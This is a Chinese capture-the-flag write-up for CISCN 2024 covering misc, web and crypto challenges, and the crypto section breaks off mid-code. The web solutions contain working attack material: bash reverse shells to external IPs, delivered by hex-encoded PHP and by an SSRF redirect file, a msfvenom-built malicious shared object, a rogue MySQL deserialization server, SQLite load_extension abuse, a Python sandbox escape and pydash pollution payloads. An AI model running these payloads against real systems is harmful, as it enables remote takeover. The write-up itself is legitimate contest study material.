2024 ciscn WP

渗透测试中心發表於2024-10-04

一、MISC

1.火鍋鏈觀光打卡

開啟後連線自己的錢包,然後點選開始遊戲,答題八次後點選獲取NFT,得到有flag的圖片

沒什麼多說的,知識問答題

兌換 NFT

Flag{y0u_ar3_hotpot_K1ng}

2.Power Trajectory Diagram

方法1:
使用py中的numpypandas庫讀取npz檔案並儲存為csv檔案,程式碼如下:
import numpy as np
import pandas as pd
np.set_printoptions(threshold=np.inf)
a1 = np.load('attachment.npz', allow_pickle=True)
print(a1.files)
print('read:', a1)
index = a1['index']
myin = a1['input']
myout = a1['output']
mytra = a1['trace']
# print(mytra.shape)
df = pd.DataFrame(mytra)
df.to_csv('data1.csv', index=False)
df1 = pd.DataFrame({'index':index, 'input': myin})
df1.to_csv('data2.csv', index=False)
得到data1.csv、data2.csv,合併得到data.csv。

開啟data.csv,可以看到功耗資料,根據https://zhuanlan.zhihu.com/p/157585244,我認為該題的關鍵是在於找到與其它字元不同的字元,就是該index的正確密碼。
基於此,利用Excel的折線圖功能,例如第四個字元,如圖所示:
在這裡插入圖片描述

可以看出,有一條綠色線與其它線都不同,為c,所以第四個字元就是c。

依次重複,得到整個金鑰:_ciscn_2024_

即flag:flag{_ciscn_2024_}

方法2:
測試程式碼:
import numpy as np
import matplotlib
import matplotlib.pyplot as plt
matplotlib.use('tkAgg')
data = np.load("./attachment.npz")
print(data.files)
aa = data[data.files[0]]
bb = data[data.files[1]]
cc = data[data.files[2]]
dd = data[data.files[3]]
print(len(aa), aa)
print(len(bb), bb)
print(len(cc), cc)
print(len(dd), dd)
for i in range(len(dd)):
plt.scatter([i for i in range(len(dd[i]))], dd[i])
plt.show()
從 npz 檔案中提取到四個檔案的值,output 為空,其他 3 個檔案提取的陣列長度都是 520,根據 index 每 40 個可得出一個明文,大致判斷共有 13 個明文。
2024 ciscn WP
input是一個表
2024 ciscn WP
output 為空
trace 裡的資料都是小數
2024 ciscn WP
嘗試對 trace 裡的資料畫點圖:
2024 ciscn WP
發現每組資料的最大值有很多點,最小值的點只有幾個,所以我們嘗試找出trace每組資料的最小值的下標:

import numpy as np
data = np.load("./attachment.npz")
dd = data[data.files[3]]
for i in range(len(dd)):
min_index = np.argmin(dd[i])
print(f"Minimum index for group {i}: {min_index}")
除了最後一組資料全為 985,其餘資料中都有其他不同的數字
2024 ciscn WP
用每四十組資料的最小值的下標再畫一次圖分析,發現最大值只有一個,所以我們需要繼續找最大值的下標,然後再從input表中獲取對應的字元即可:
2024 ciscn WP
exp:

import numpy as np
import matplotlib.pyplot as plt
f = np.load('./attachment.npz')
index = f['index']
ip = f['input']
tr = f['trace']
flag = ""
for _ in range(13):
t = []
table = ip[40*_:40*(_+1)]
for i in range(40):
# 每個列表畫一個散點圖,發現最小值
# plt.scatter([i for i in range(len(tr[_*40+i]))], tr[_*40+i])
# plt.show()
# 獲取該列表的最小值的下標
min = np.argmin(tr[_*40+i])
# 將最小值的下標插入新列表
t.append(min)
# 用 40 個列表的最小值的下標作為資料,畫圖,發現有最大值
for i in range(len(t)):
plt.scatter([i for i in range(len(t))], np.array(t))
plt.show()
# 求最大值的下標
mins = np.argmax(t)
# 用下標從表裡取字元
ind = table[mins]
# 把字元加到flag裡
flag += ind
print(flag)


得到:_ciscn_2024_a
由於前面最後一組資料全是 985,因此最後一組資料得出的 a 不算
去掉 a 得到最終flag為:flag{_ciscn_2024_}

3.神秘的檔案

方法1:
究極套娃,看的眼睛都要花了,真就純找。得到PPT檔案,直接改字尾為.zip去找
part1
在docProps目錄下的兩個xml中,app.xml提示瞭解密演算法,core.xml提示了密文和金鑰key,直接上賽博
image
image
part2
在ppt/embeddings資料夾下的docx中,從PPT開啟的話就是第二章左上角那塊黑色的,雙擊就行,開啟後全選,改字型大小,改顏色,凱撒偏移量10解密,然後base64解密,得到part2

image
image
part3
在vbaProject.bin中,這個真的找了好久,後來也是網上搜得到說ppt隱寫可能跟宏和宏指令碼有關係,叫VBA工程解密。先010開啟vbaProject.bin,找DPB位元組,把最後一位改成x,然後儲存,之後改字尾為.zip,直接開啟會發現其中內涵的檔案,開啟VBA資料夾下的模組一
image
發現一段密文,不知道是啥但是提示是base64之後的,那就先解密唄,然後得到亂碼,一般這種特殊字元多的不是RC4就是rot,最後發現是無密碼RC4解密,然後再解一層base64
image
part4
直接開啟PPT(因為它是由media資料夾下的圖片拼成的),第三張,好像是要選可見隱藏字元,因為我電腦自動預設選的所以直接可以看,base64解碼
image
part5
是在第五章ppt的註釋中,直接賽博廚師帽跑,多層base64解碼,得到第五部分
image
part6
是在第五張PPT正文邊界的左上角,把它介面縮放或者直接拆media資料夾都可以,base64解碼
image
part7
是在ppt\slides下的slides4.xml中,id4的位置,下面提示rot13 all,暗示包括number,base64解碼
image

part8
在slideLayout2.xml中,南平,最開始沒理解最後是啥意思,連一起了才看懂。。。。,就是要除去上面字串中的Bb13。。。然後base64解碼
image
image
part9
直接在media資料夾下,看那個貓人的圖片左下角,base64解碼
image

part10
在comment1.xml中,維吉尼亞解碼,金鑰是furry
image

總之最後flag是flag{e675efb3-346f-405f-90dd-222b387edee9}
方法2:
先是一些簡單容易找到的,按照提示規則進行 base64、維吉尼亞、凱撒等解碼即可
PPT 裡面找到了很多東西:
2024 ciscn WP
2024 ciscn WP
2024 ciscn WP
改zip字尾,在 world 文件裡有發現:
2024 ciscn WP
2024 ciscn WP
2024 ciscn WP
圖片:
2024 ciscn WP
總共可以得到:
part2:675efb
Payt4:6f-40
pArt5:5f-90d
ParT6:d-2
parT9:deH
PARt10:9}
下面的一些就需要更加仔細了:
2024 ciscn WP
在壓縮包裡找到了二進位制檔案
i13POMdzEAzHfy4dGS+vUA==
這裡是 base64+RC4+base64
2024 ciscn WP
得到 PArt3:3-34
ppt 檔案屬性:
2024 ciscn WP
密文:QFCfpPQ6ZymuM3gq
加密方式:bifld
Key:lanjing;
2024 ciscn WP
得到Part1:flag{e
ppt母版:
2024 ciscn WP
去掉Bb13後解 base64
2024 ciscn WP
得到 paRt8:87e
選擇窗格:
2024 ciscn WP
Rot13+base64
2024 ciscn WP
得到PART7=22b3
拼接得到最終 flag:
flag{e675efb3-346f-405f-90dd-222b387edee9}

4.大學生安全測試能力調研問卷

填問卷

5.通風機

方法1:
得到mwp檔案,010開啟補全前三位檔案頭,使用V4.0 STEP 7 MicroWIN SP9開啟,每個地方都看看,之前沒見過,最後在符號表中找到flag
image
base64解碼後得到flag
image
方法2:
使用binwalk可以分離出一個zlib檔案,使用python解壓,程式碼如下:
import zlib

def decompress_zlib_file(input_filename, output_filename):
with open(input_filename, 'rb') as compressed_file:
compressed_data = compressed_file.read()
decompressed_data = zlib.decompress(compressed_data)

with open(output_filename, 'wb') as output_file:
output_file.write(decompressed_data)

# Example usage
input_file = '35.zlib'
output_file = 'decompressed_data.txt'
decompress_zlib_file(input_file, output_file)
用Winhex 開啟 decompressed_data.txt,可以看到經過base64編碼後的flag。
在這裡插入圖片描述
解碼得到flag:
在這裡插入圖片描述

6.盜版軟體

兩個檔案

第一個dmp改字尾為data,用gimp2調一下引數得到域名

2024 ciscn WP

winhack.com

之後找ip,微步找釋放檔案

2024 ciscn WP

dump下來,loader沒啥用,看output.png

2024 ciscn WP

發現有個zip,提取出來

2024 ciscn WP

發現是base85,解密之後,覺得是shellcode,改字尾為bin放微步跑得到ip

2024 ciscn WP

winhack.com39.100.72.235


2024 ciscn WP




7.DNS

2024 ciscn WP

發現域名很多二進位制,提取出來轉二維碼,CQR掃一下

得到一段密碼

2024 ciscn WP

之後繼續看

2024 ciscn WP

發現有兩種流

dns.id==0x6421
dns.id==0x4500

分別提取,一個得到壓縮包,壓縮包用二維碼得到的解密

另一個得到亂碼,file一下發現壓縮包得到是pgp

不知道key,看題目描述,經過嘗試發現rev+hex+rev可以成功import

2024 ciscn WP

之後把亂碼檔案處理一下,decrypt

2024 ciscn WP

二、WEB

1.Simple_php

題目描述:小明在學習CTF的過程中遇到了一道PHP的題目,以他有限的水平做不出來,可以幫幫他嗎?
直接給了原始碼
image-20240518112723996


paste或者rev可以讀檔案
發現一個異常情況,具有mysql使用者,或許可以從這裡入手
image-20240518112905906
看出mysql服務開啟
cmd=mysql --version
image-20240518115837118
ps -aux命令執行結果可以確認靶機有mysql服務
同時根目錄下沒有flag
BURP發包
cmd=l%0as /
image-20240518113950815
為了命令執行不受限,反彈shell。這裡有一個小細節就是彈shell前的不可見字元是為了hex2bin函式能夠成功執行。因為ban了引號,變數型別自動判斷,如果十六進位制開頭是數字那麼我設定的變數$a會被判斷為數字,從而報錯無法執行。
cmd=php -r $a=ff3b62617368202d63202262617368202d69203e26202f6465762f7463702f3132302e34362e34312e3137332f3930323320303e2631223b;system(hex2bin($a));
image-20240518134618734
mysql -uroot -proot -e "show databases;"
mysql -uroot -proot -e "use PHP_CMS;show tables;"
mysql -uroot -proot -e "use PHP_CMS;SELECT * FROM F1ag_Se3Re7;"
image-20240518134518410

2.easycms

題目描述:簡單的cms,可以掃掃看?
hint:
提示1: /flag.php:
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}
提示2:github找一下原始碼?
敏感目錄:
/flag.php
/install.php
/Readme.txt
/Readme.txt是亂碼,線上恢復一下
image-20240518134956796
迅睿CMS官方下載地址:https://www.xunruicms.com/down/
#### 安裝路徑
將網站執行目錄(主目錄)設定為:public(如果沒有就忽略設定�?
安裝環境監測�?/test.php
程式安裝地址�?/install.php
後臺登入地址�?/admin****.php�?****是隨機的�?
重置後臺地址:https://www.xunruicms.com/doc/1097.html
首次使用方法:https://www.xunruicms.com/doc/631.html
#### 執行環境
Laravel核心:PHP8.0及以�?
ThinkPHP核心:PHP7.4及以�?
CodeIgniter核心:PHP7.4及以�?
CodeIgniter72核心:PHP7.2及以�?
MySQL資料庫:MySQL5及以上,推薦5.7及以�?
#### 核心切換方法
https://www.xunruicms.com/doc/1246.html
無法重新安裝
image-20240518140745852
hint的原始碼告訴我們flag.php存在ssrf,可以直接getshell。原始碼在github上。GitHub - dayrui/xunruicms: 迅睿CMS框架由PHP+MySQL+Codeigniter架構,基於MIT開源協議釋出,免費且不限制商業使用,允許開發者自由修改前後臺介面中的版權資訊。
資訊蒐集,存在一個已知的ssrf迅睿CMS漏洞公示,四川迅睿雲軟體開發有限公司廠商的漏洞列表 (xunruicms.com)
image-20240518201503234


定位到原始碼路徑xunruicms-master\dayrui\Fcms\Control\Api\Api.php的qrcode函式
thumb引數可控
image-20240519182749703
定位xunruicms-master\dayrui\Fcms\Core\Helper.php
dr_catcher_data函式存在SSRF
image-20240519182910561
302.php,拿不到回顯所以只能反彈shell
<?php
//header("HTTP/1.1 302 found");
//header("Location:http://127.0.0.1:1337/flag");
//header("Location:file:///etc/passwd");
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.41.173%2F9023%200%3E%261%22");
exit();
?>
payload:
/index.php?s=api&c=api&m=qrcode&text=111&size=111&level=1&thumb=http://120.46.41.173/Jay17/302.php


image-20240518164531870

3.easycms_revenge

和上題一樣,改一下302.php的內容
GIF89a
<html>
<?php
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F124.222.136.33%2F1337%200%3E%261%22");?>
</html>
2024 ciscn WP
這裡注意細節,靶機發了兩次請求,第一次我們就返回一個正常的圖片,第二次請求就發一個302,php程式碼塊要用html標籤包裹
2024 ciscn WP

4.ezjava

/app/BOOT-INF/lib下刪了jackson,不然就能直接打POJONode

依賴裡有AspectJWeaver,打任意檔案寫入
https://blog.csdn.net/uuzeray/article/details/136595841
2024 ciscn WP
後續還可以配合sqlite載入惡意so檔案
https://github.com/Y4tacker/JavaSec/blob/main/9.JDBC%20Attack/SQLite/index.md
然後AJ鏈子的入口要呼叫map.put
自定義類UserBean#readObject就可以配合利用
2024 ciscn WP
最終思路就是先mysql打入惡意反序列化資料寫入so檔案,再sqlite載入惡意so檔案
2024 ciscn WP

生成惡意so檔案
msfvenom -p linux/x64/exec CMD='echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjEi|base64 -d|bash' -f elf-so -o evil.so
2024 ciscn WP
將生成的惡意序列化資料寫入output.ser

package com.example.jdbctest.exp;
import com.example.jdbctest.bean.UserBean;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
public class EXP {
// 獲取指定類的第一個建構函式,並設定為可訪問
public static Constructor<?> getCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
// 建立一個UserBean物件,將evil.so的內容Base64編碼後存入UserBean中
public static Object getObject() throws Exception {
String filename = "../../../../../../../../../../../../tmp/evil.so"; // 路徑指向/tmp/evil.so
Path filePath = Paths.get("C:\\Users\\21135\\Desktop\\ciscnjava\\src\\main\\java\\com\\example\\jdbctest\\exp\\evil.so"); // 假設evil.so位於當前目錄
byte[] fileBytes = Files.readAllBytes(filePath); // 讀取檔案位元組
String content = Base64.getEncoder().encodeToString(fileBytes); // 將檔案內容Base64編碼
UserBean bean = new UserBean(filename, content); // 建立UserBean例項
Constructor<?> ctor = getCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12); // 例項化一個SimpleCache物件
bean.setObj(simpleCache); // 將SimpleCache物件設定為UserBean的obj屬性
return bean;
}
// 序列化一個物件到位元組陣列
public static byte[] serialize(Object object) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);
oos.close();
return baos.toByteArray();
}
// 主函式,序列化物件並將其寫入檔案
public static void main(String[] args) throws Exception {
byte[] serialized = serialize(getObject()); // 序列化物件
String fileName = "output.ser"; // 輸出檔名
// 使用FileOutputStream將位元組資料寫入檔案
FileOutputStream fos = new FileOutputStream(fileName);
fos.write(serialized);
fos.close(); // 關閉檔案輸出流
}
}

起一個惡意mysql服務,回包為惡意序列化資料

import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))
def get_payload_content():
file= r'output.ser'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")
else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content
# 主要邏輯
def run():
while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
# 1.先傳送第一個 問候報文
send_data(conn,greeting_data)
while True:
# 登入認證過程模擬 1.客戶端傳送request login報文 2.服務端響應response_ok
receive_data(conn)
send_data(conn,response_ok_data)
#其他過程
data=receive_data(conn)
#查詢一些配置資訊,其中會傳送自己的 版本號
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 為什麼我加了EOF Packet 就無法正常執行呢??
# //獲取payload
payload_content=get_payload_content()
# //計算payload長度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# //計算資料包長度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break

先利用mysql打AJ鏈子,寫入惡意so檔案

{
"type":"1",
"url":"jdbc:mysql://124.222.136.33:3309/a?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"
}

2024 ciscn WP
再打sqlite,指定tableName,載入寫入的惡意so檔案,反彈shell

{
"type":"3",
"tableName":"(select (load_extension(\"/tmp/evil.so\")));",
"url":"jdbc:sqlite:file:/tmp/db?enable_load_extension=true"
}
2024 ciscn WP

根目錄下拿到flag
2024 ciscn WP

5.mossfern

考的python棧幀沙箱逃逸,獲取到外部的棧幀,就可以用f_globals去獲取沙箱外的全域性變數
https://xz.aliyun.com/t/13635
https://zer0peach.github.io/2024/04/29/python%E6%A0%88%E5%B8%A7%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/

最後注意要將獲取的變數元組轉字串,再用逗號分隔,依次輸出,從而繞過seed

2024 ciscn WP

def getflag():
def f():
yield g.gi_frame.f_back
g = f()
frame=[x for x in g][0]
gattr = frame.f_back.f_back.f_back.f_locals['_'+'_builtins_'+'_']
code = frame.f_back.f_back.f_back.f_code
dir = gattr.dir
str = gattr.str
print(dir(code))
for i in str(code.co_consts):
print(i,end=",")
getflag()

6.sanic

sanic 是一個類似flask的web框架
掃目錄
2024 ciscn WP

訪問./src

from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")
return text("login fail")
@app.route("/src")
async def src(request):
return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
return text("forbidden")
if __name__ == '__main__':
app.run(host='0.0.0.0')

sanic可以透過用八進位制adm\073n繞過cookie

COOKIE_NAME_RESERVED_CHARS = re.compile(
'[\x00-\x1F\x7F-\xFF()<>@,;:\\\\"/[\\]?={} \x09]'
)
OCTAL_PATTERN = re.compile(r"\\[0-3][0-7][0-7]")
QUOTE_PATTERN = re.compile(r"[\\].")

在繞過admin後可以打pydash原型鏈汙染,waf掉了_.

2024 ciscn WP

pydash有這樣一段處理

def to_path_tokens(value):
"""Parse `value` into :class:`PathToken` objects."""
if pyd.is_string(value) and ("." in value or "[" in value):
# Since we can't tell whether a bare number is supposed to be dict key or a list index, we
# support a special syntax where any string-integer surrounded by brackets is treated as a
# list index and converted to an integer.
keys = [
PathToken(int(key[1:-1]), default_factory=list)
if RE_PATH_LIST_INDEX.match(key)
else PathToken(unescape_path_key(key), default_factory=dict)
for key in filter(None, RE_PATH_KEY_DELIM.split(value))
]
elif pyd.is_string(value) or pyd.is_number(value):
keys = [PathToken(value, default_factory=dict)]
elif value is UNSET:
keys = []
else:
keys = value
return keys
def unescape_path_key(key):
"""Unescape path key."""
key = key.replace(r"\\", "\\")
key = key.replace(r"\.", r".")
return key

這段程式碼主要包含了兩個函式,to_path_tokens 和 unescape_path_key,用於解析和處理資料結構路徑的表示式。這些函式可能是用於操作如 JSON 或巢狀字典這樣的複雜資料結構。下面是對這兩個函式的總結:

1. to_path_tokens 函式

目的:將輸入的 value 轉換為 PathToken 物件的列表,這些物件表示資料結構中的路徑點。
處理邏輯:
對字串形式的路徑進行分解,處理點(.)和方括號([)來區分不同的路徑段。
根據路徑段的內容,區分處理為列表索引或字典鍵。
對特定字串進行型別轉換(如字串形式的數字轉為整數索引)。
使用正規表示式幫助分割和識別路徑中的關鍵部分。
2. unescape_path_key 函式

目的:處理路徑鍵中的跳脫字元,將轉義序列轉換為對應的實際字元。
實現細節:
替換路徑鍵中的雙反斜槓 (\\) 為單反斜槓 (\)。
替換路徑鍵中的轉義點 (\.) 為點 (.)。
給出指令碼:

import requests
url = 'http://a053bd54-eb02-452c-af3f-299070f3fd84.challenge.ctf.show'
s = requests.Session()
s.cookies.update({
'user': '"adm\\073n"'
})
s.get(url + '/login')
# 開啟目錄瀏覽
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory_view", "value": True}
# 汙染目錄路徑
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory._parts", "value": ['/']}
# r = s.post(url + '/admin', json=data)
# print(r.text)
# 獲取flag路徑
# r = s.get(url + '/static/')
# print(r.text)
#汙染__file__,讀取flag
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.__file__", "value": "/24bcbd0192e591d6ded1_flag"}
# r = s.post(url + '/admin', json=data)
# print(r.text)
# print(s.get(url + '/src').text)

2024 ciscn WP

三、Crypto

1、OvO

題目描述
from Crypto.Util.number import *
from secret import flag

nbits = 512
p = getPrime(nbits)
q = getPrime(nbits)
n = p * q
phi = (p-1) * (q-1)
while True:
kk = getPrime(128)
rr = kk + 2
e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1
if gcd(e, phi) == 1:
break
m = bytes_to_long(flag)
c = pow(m, e, n)

e = e >> 200 << 200
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')

"""
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
"""

給的 e 其實就是 d,只是結果是移位後的輸出,n 很大無法分解,但 kk 與 rr 很小,由 rr= e//n 即可推出 rr 和 kk,又由 e + x + kk*p + rr*((p+1)* (q+1))+ 1 = 65537,將 × 設為 0 和 2^200 然後聯立求解一元二次方程,就能求出 p, q 的上下界,這樣就有p 和q 的高位,列舉未知位嘗試coppersmith 直到分解出結果,最後代入求 e 和 d,進而求得flag。

cop 攻擊,exp:

# SageMath script to factor n and decrypt the message
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
def partial_p(p0, n, bits):
PR.<x> = PolynomialRing(Zmod(n))
f = p0 + x
f = f.monic()
roots = f.small_roots(X=2^(bits+5), beta=0.3)
if roots:
x0 = roots[0]
p = gcd(p0 + x0, n)
return ZZ(p)
def find_p(eh, n, bits):
RR = RealField(1000)
PR.<x> = PolynomialRing(RR)
f = (kk+rr)*x**2 + (rr*(n+1)+65538)*x + rr*n - eh*x
results = f.roots()
if results:
for x in results:
